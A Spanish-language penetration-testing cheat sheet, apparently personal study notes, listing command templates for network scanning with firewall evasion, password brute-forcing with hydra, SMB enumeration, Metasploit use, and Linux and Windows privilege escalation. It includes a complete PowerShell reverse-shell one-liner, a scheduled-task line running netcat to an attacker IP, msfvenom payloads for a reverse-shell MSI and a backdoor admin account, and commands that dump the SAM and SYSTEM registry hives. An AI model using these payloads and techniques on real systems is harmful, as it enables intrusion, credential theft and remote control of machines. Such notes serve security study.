ARP Discovery: Realiza una búsqueda a nivel de red utilizando ARP.
nmap -PR -sn *NETWORK*
TCP SYN Scan: Escaneo estándar de puertos utilizando SYN.
nmap -sS *HOST*
UDP Scan: Escaneo de puertos UDP (el argumento
-T
ajusta la velocidad del escaneo de 1 a 5, siendo 5
el más rápido).
nmap -sU -T4 *HOST*
TCP ACK Scan: Verifica si un puerto está filtrado o no.
nmap -sA *HOST*
Window Scan: Detección de puertos abiertos basada en el tamaño de la ventana TCP.
nmap -sW *HOST*
Xmas Scan: Escaneo con todos los flags TCP activos (pocos firewalls lo detectan).
nmap -sX *HOST*
Null Scan: Envía paquetes TCP sin ningún flag activado.
nmap -sN *HOST*
Fin Scan: Utiliza el flag FIN para tratar de evitar reglas de firewall.
nmap -sF *HOST*
Decoys: Usa hosts falsos para confundir los sistemas de detección.
nmap -D *DECOY1* *DECOY2* *HOST*
Fragmentación: Fragmenta los paquetes para intentar evadir firewalls o IDS.
nmap -f *HOST*
Scripts de Detección Básicos: Ejecuta los scripts por defecto de Nmap.
nmap -sC *HOST*
Versión de los Servicios: Detecta versiones de los servicios que están corriendo en los puertos abiertos.
nmap -sV *HOST*
Detección del Sistema Operativo: Intenta identificar el sistema operativo del host.
nmap -O *HOST*
Custom Scripts: Ejecuta un script específico en el host.
nmap --script *SCRIPT* *HOST*
Escaneo de puertos
sudo nmap -sS -p- --min-rate 5000 -n -Pn *HOST*
Enumerar servicios y versiones
nmap -p *PUERTOS* -sCV *HOST*
Enumerar Directorios: Fuerza bruta para encontrar directorios ocultos.
gobuster dir -u *URL* -w *WORDLIST* -k
El argumento
-k
se utiliza para ignorar problemas con certificados SSL.
Crackear Passwords dado un Servicio: Fuerza bruta para intentar crackear contraseñas en un servicio específico.
hydra -l *USUARIO* -p *WORDLIST* *HOST* *SERVICIO*
Usar
-L
para indicar una lista de usuarios.
Usar
-s
para especificar el puerto en el que corre el servicio.
Listar Shares SMB: Muestra las carpetas compartidas en un servidor SMB.
smbclient -L *HOST*
Listar Shares SMB: Muestra las carpetas compartidas en un servidor SMB.
smbmap -H *HOST*
Uso metasploit
msfconsole
Usar
search
para buscar en las bases de datos de metasploit.
Usar
use *EXPLOIT*
para seleccionar un exploit.
Usar
show options
para obtener información sobre el exploit.
Usar
set *PARAMETRO* *VALOR*
para establecer un parametro del epxloit.
Usar
exploit
para correr el exploit.
Generar payloads
msfvenom -p *PAYLOAD* *ARGUMENTO*=*VALOR* -f *FORMATO* -e *ENCODER*
Usar
msfvenom --list formats
para listar formatos.
Usar
msfvenom --list encoders
para listar codificadores.
Cambiar permisos
chmod *OPCIONES* *MODO* *ARCHIVO/DIRECTORIO*
Notación simbólica
r
: leer,w
: escribir,x
: ejecutar.
Notación simbólica
u
: user,g
: group,o
: others,a
: all,.
Notación octal
4
: leer,2
: escribir,1
: ejecutar.
Buscar archivos
find *PATH* *OPCIONES* *EXPRESIONES*
Búsqueda por nombre:
-name
.
Búsqueda por permiso:
-perm *OCTAL*
, para buscar por SUID-perm /4000
.
Listar variables de entorno
env
Formato:
*NOMBRE*=*valor*
.
Variables comunes:
PATH
,HOME
,USER
,SHELL
,LANG
.
Añadir un nuevo directorio al PATH
export PATH=/nuevo/directorio:$PATH
Esto funciona porque el PATH se lee de izquierda a derecha.
Cronjobs
crontab
El argumento
-e
se utiliza para editar los cronjobs para ese usuario.
El argumento
-l
se utiliza para listar los cronjobs para ese usuario.
Enumeración del SO
Nombre de la máquina
hostname
Información del sistema y kernel
uname -a
Más información del sistema y compilador
cat /proc/version
Mensaje de identificación al iniciar sesión
cat /etc/issue
Procesos de todos los usuarios
ps -aux
Lista de privilegios sudo que tiene el usuario
sudo -l
Información de un usuario (UID, GID, Grupos)
id *USUARIO*
Información de /etc/passwd
cat /etc/passwd | cut -d “:” -f 1
cat/etc/passwd | grep "home"
Mostrar historial de comandos
history
Información de interfaces y configuraciones de red
ifconfig
Información sobre conexiones de red, interfaces y tablas de enrutamiento
netstat -tulnp
El argumento
-a
muestra todos los puertos escuchando y conexiones establecidas.
El argumento
-l
muestra puertos escuchando.
El argumento
-tp
muestra conexiones y PID de servicios corriendo.
El argumento
-s
muestra estadísticas de uso por protocolo.
El argumento
-i
muestra estadísticas de uso por interfaz.
Exploits
Kernel exploits: cuidado con crashear el sistema
PATH y library hijacking: binarios que llaman a comandos o librerias de forma relativa peuden ser explotados
Explotación de SUID/SGID y sudo: muy común
Capabilities
getcap -r / 2>/dev/null
Explotación de cronjobs: muchas veces hay cronjobs que ejecutan un script que se ha eliminado
Security Identifier (SID): identificador único que se asigna a un principal (S-R-X-Y1-...-Yn)
R: revisión de la estructura SID (se marca con 1)
X: Autoridad identificadora quie se genera el SID
Y1-...-Yn: Subautoridades de la autoridad identificadora
S-1-0-0
: Nobody.
S-1-1-0
: Everybody.
S-1-5-11
: Authenticated users.
S-1-5-18
: Local system.
S-1-5-<domain>-500
: Administrator.
Ver permisos de binario
icacls *ARCHIVO*
Mandatory Integrity Control (MIC): mecanismo adicional a los permisos para control de acceso
Security Account Manager (SAM): base de datos interna que contiene passwords de usuario hasheados
Transferencia de archivos
cmd:
certutil -urlcache -split -f *URL* *OUTPUT_FILE*
powershell:
iwr -uri *URL* -Outfile *OUTPUT_FILE*
Reverse shell one-liner (powershell)
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('*IP*',*PUERTO*);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Enumeración del SO
Usuario y hostname:
whoami
hostname
\user
Membresías del usuario:
whoami /groups
Privilegios del usuario:
whoami /priv
Otros usuarios y grupos (powershell):
Get-LocalUser
net user
en cmd
Get-LocalGroup
net group
en cmd
Get-LocalGroupMember **
Sistema operativo, versión y arquitectura:
systeminfo
Información de red:
ipconfig /all
route print
Aplicaciones instaladas:
wmic qfe get Caption,Description,HotFixID,InstalledOn
Procesos en ejecución:
netstat -ano
Exploits
Kernel exploits: cuidado con crashear el sistema
Passwords: nunca descartar que haya passwords en claro e instalaciones desatendidas
Historial de la consola:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type
es el equivalente de cat.
type ... | strfind *EXPRESION*
equivalente a cat y grep.
Credenciales guardadas: windows permite guardar credenciales para luego iniciar sesión
cmdkey /list
runas /savecred /user:admin cmd.exe
Abuso de servicios
Ver configuración de un servicio
sc qc *SERVICIO*
Ver estado actual de un servicio
sc query *SERVICIO*
Modificar una opción de un servicio
sc config *SERVICIO* *OPCION* = *VALOR*
Cambiar binario de un servicio:
sc config *SERVICIO* binpath=*PATH*
Start / stop un servicio
net start / stop *SERVICIO*
Insecure service permissions: cada servicio tiene un ACL que define sus permisos
Buscamos poder cambiar la configuración de un servicio que se ejecuta como SYSTEM
Algunos son inofensivos:
SERVICE_QUERY_CONFIG
,SERVICE_QUERY_STATUS
Algunos pueden ser útiles:
SERVICE_STOP
,SERVICE_START
Algunos pueden ser peligrosos:
SERVICE_CHANGE_CONFIG
,SERVICE_ALL_ACCESS
Check permisos de un servicio:
.\accesschk.exe /accepteula -uwcqv user *SERVICIO* RW *SERVICIO*
Unquoted service path: ambigüedad al usar paths absolutos que contienen espacios sin comillas
Insecure service executables: si el ejecutable del servicio es modificable podemos reemplazarlo por nuestro binario malicioso
No siempre tenemos que establecer revese shells
msfvenom -p windows/adduser USER=user123 PASS=pass123 -f exe > service.exe
DLL Hijacking: a menudo los servicios intentarán cargar funcionalidades de una librería DLL
Tareas programadas
schtasks
echo c:\tmp\nc64.exe -e cmd.exe *ATTACKER_IP* *PORT* > C:\tasks\schtask.bat
Abuso de privilegios:
SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege: podemos impersonar a cualquier usuario (HotPotato)
SeBackupPrivilege: permite leer todos los objetos del sistema incluidos SAM y SYSTEM
reg save hklm\sam C:\temp\sam.hive
reg save hklm\system C:\temp\system.hive
SeRestorePrivilege: permite escribir todos los objetos del sistema incluidos binarios y DLLs
SeTakeOwnershipPrivilege: permite convertirse en el propietario de cualquier objeto (WRITE_OWNER). Una vez somos propietarios podemos darnos permisos de escritura.
AlwaysInstallElevated: es una configuración del registro, podemos instalar como administrador un .msi. Necesitamos dos valores del registro activos:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/x64/shell_reverse_tcp LHOST=*IP* LPORT=*PORT* -f msi -o malicious.msi
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Software vulnerable:
wmic product get name,version,vendor